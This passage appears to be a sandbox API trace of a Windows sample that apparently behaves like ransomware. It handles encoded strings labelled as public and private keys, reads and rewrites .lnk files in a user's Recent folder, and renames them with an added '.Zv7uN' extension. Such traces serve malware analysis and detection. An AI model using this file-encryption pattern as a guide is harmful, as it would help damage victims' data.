FMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0083.600] GetCurrentThreadId () returned 0xa30 [0083.600] GetCurrentThreadId () returned 0xa30 [0083.600] GetCurrentThreadId () returned 0xa30 [0083.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.601] GetCurrentThreadId () returned 0xa30 [0083.601] GetCurrentThreadId () returned 0xa30 [0083.601] GetCurrentThreadId () returned 0xa30 [0083.601] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tsgG.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tsgg.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.601] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.601] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.601] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1470 [0083.601] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.602] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1470, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1470, lpOverlapped=0x0) returned 1 [0083.603] CloseHandle (hObject=0x124) returned 1 [0083.603] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tsgG.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tsgg.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.605] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1470, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1470, lpOverlapped=0x0) returned 1 [0083.607] CloseHandle (hObject=0x124) returned 1 [0083.609] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tsgG.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tsgg.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tsgG.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tsgg.flv.lnk.zv7un")) returned 1 [0083.610] GetCurrentThreadId () returned 0xa30 [0083.610] GetCurrentThreadId () returned 0xa30 [0083.610] GetCurrentThreadId () returned 0xa30 [0083.610] GetCurrentThreadId () returned 0xa30 [0083.610] GetCurrentThreadId () returned 0xa30 [0083.610] GetCurrentThreadId () returned 0xa30 [0083.610] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12ae1a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe12ae1a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe12ae1a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe66, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="TtSX604s.lnk", cAlternateFileName="")) returned 1 [0083.610] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.610] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.610] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TtSX604s.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ttsx604s.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12ae1a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe12ae1a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe12ae1a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe66)) returned 1 [0083.610] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TtSX604s.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ttsx604s.lnk")) returned 0x20 [0083.610] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TtSX604s.lnk", dwFileAttributes=0x80) returned 1 [0083.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.613] GetCurrentThreadId () returned 0xa30 [0083.613] GetCurrentThreadId () returned 0xa30 [0083.613] GetCurrentThreadId () returned 0xa30 [0083.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ